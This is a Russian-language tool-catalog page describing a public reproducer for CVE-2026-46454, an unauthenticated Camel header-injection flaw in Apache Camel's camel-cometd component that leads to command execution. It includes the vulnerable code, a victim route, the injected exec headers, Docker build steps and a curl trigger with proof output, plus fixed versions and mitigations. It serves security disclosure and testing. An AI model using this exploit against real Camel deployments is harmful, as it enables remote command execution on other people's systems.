Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/oscerd/cve-2026-46454
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHuboscerd/cve-2026-46454

CVE-2026-46454

Репродуктор для CVE-2026-46454 — Apache Camel camel-cometd: инъекция заголовков Bayeux во входящих сообщениях (неаутентифицированная инъекция управляющих заголовков Camel → перенаправление downstream-производителя / RCE)

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

camel-cometd Inbound Bayeux Header Injection Reproducer (CVE-2026-46454)

Этот проект демонстрирует инъекцию заголовков сообщений в компоненте Apache Camel camel-cometd, отслеживаемую как CVE-2026-46454. Компонент сопоставляет входящие заголовки сообщений Bayeux (CometD) с обменом Camel Exchange без HeaderFilterStrategy. Метод CometdBinding.createCamelMessage копирует всю карту ext.CamelHeaders, предоставленную клиентом CometD, напрямую в сообщение Camel (message.setHeaders(...)), поэтому принимается без изменений любое имя заголовка — включая внутренние управляющие заголовки Camel, такие как CamelHttpUri, CamelFileName, CamelJmsDestinationName (или, как здесь, управляющие заголовки ). Поскольку компонент по умолчанию , любой клиент, способный завершить рукопожатие Bayeux, может опубликовать такое сообщение и управлять нижестоящими производителями в маршруте.

camel-exec
CometdComponent
не устанавливает Bayeux SecurityPolicy
без аутентификации

Консультация: https://camel.apache.org/security/CVE-2026-46454.html

Сводка по уязвимости

СвойствоЗначение
Компонентcamel-cometd
Затронутый классorg.apache.camel.component.cometd.CometdBinding#createCamelMessage (message.setHeaders(...))
CWECWE-20: Improper Input Validation
ВоздействиеНеаутентифицированная инъекция управляющих заголовков Camel → управление нижестоящими производителями (здесь RCE через exec)
Затронутые версииС 4.0.0 до 4.14.8, с 4.15.0 до 4.18.3, с 4.19.0 до 4.21.0
Исправленные версии4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23507
Автор отчётаYu Bao (PayPal)

То же семейство инъекций заголовков, что и CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 и CVE-2026-47323 — компоненты, сопоставляющие входящие заголовки с Exchange без фильтрации пространства имён Camel.

Технические подробности

root@kitploit:~
// CometdBinding.createCamelMessage(...) - affected 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage);   // reads client-supplied ext.CamelHeaders
if (headers != null) {
    message.setHeaders(headers);                                      // <-- no HeaderFilterStrategy
}

Клиент управляет ext.CamelHeaders, поэтому он может установить любой управляющий заголовок Camel в Exchange. Исправление (4.14.8 / 4.18.3 / 4.21.0) реализует HeaderFilterStrategy (давний TODO в коде), который фильтрует пространство имён Camel* / camel* без учёта регистра при входящем сопоставлении.

Маршрут-жертва

root@kitploit:~
from("cometd://0.0.0.0:8088/service/inject")
    .to("exec:echo?args=hello");     // route author only intends to run: echo hello

Атакующий публикует сообщение в /service/inject с ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" }; привязка сопоставляет их с Exchange, и производитель exec выполняет команду атакующего вместо ожидаемой.

Структура репозитория

Автономный: потребитель camel-cometd запускает встроенный сервер Bayeux (порт 8088) внутри приложения, а конечная точка /exploit/attack выступает в роли неаутентифицированного клиента CometD.

root@kitploit:~
CVE-2026-46454/
├── pom.xml                 # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # from("cometd://.../service/inject").to("exec:echo")
    │   └── ExploitController.java  # attacker BayeuxClient: handshake + publish with ext.CamelHeaders
    └── resources/
        └── application.properties

Предварительные требования

  • Java 17+ и Maven 3.8+
  • Docker (для запуска репродуктора)

Шаги воспроизведения

Шаг 1: Сборка и запуск контейнера

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Шаг 2: Запуск инъекции заголовков (RCE)

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> Handshaked (unauthenticated) and published to /service/inject with ext.CamelHeaders = {...}.
#    The camel-cometd consumer mapped them onto the Exchange; the exec producer ran the command.
#
#    >>> RCE proof — /tmp/pwned exists: true

Шаг 3: Проверка

root@kitploit:~
docker exec cve-2026-46454 ls -la /tmp/pwned

Очистка

root@kitploit:~
docker compose down

Векторы атаки

Любой маршрут с потребителем camel-cometd, ведущим к нижестоящему производителю, чьё поведение управляется заголовками Camel — HTTP-производитель (CamelHttpUri), файловый производитель (CamelFileName), JMS-производитель (CamelJmsDestinationName), производитель exec (CamelExecCommand*) и т. д. Любой клиент, способный выполнить рукопожатие с конечной точкой Bayeux, может внедрить их; по умолчанию аутентификация не требуется. Внедрённые заголовки сохраняются при внутренних переходах через direct, seda и vm.

Условия эксплуатации

  1. Потребитель camel-cometd на затронутой версии, маршрутизируемый к производителю, управляемому заголовками.
  2. Отсутствие Bayeux SecurityPolicy в CometdComponent (по умолчанию), поэтому любой клиент может публиковать сообщения.

Рекомендуемое исправление

Обновитесь до 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23507), в которых добавлен HeaderFilterStrategy в привязку cometd, блокирующий предоставляемые клиентом заголовки Camel* / camel* при входящем сопоставлении.

Смягчение последствий

До обновления:

  1. Удаляйте управляющие заголовки Camel в начале маршрута: .removeHeaders("Camel*") и .removeHeaders("camel*").
  2. Установите явную Bayeux SecurityPolicy в CometdComponent, чтобы только аутентифицированные клиенты могли публиковать сообщения.

Отказ от ответственности

Этот репродуктор предоставлен только для исследований в области безопасности и авторизованного тестирования, для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.

Скачать инструмент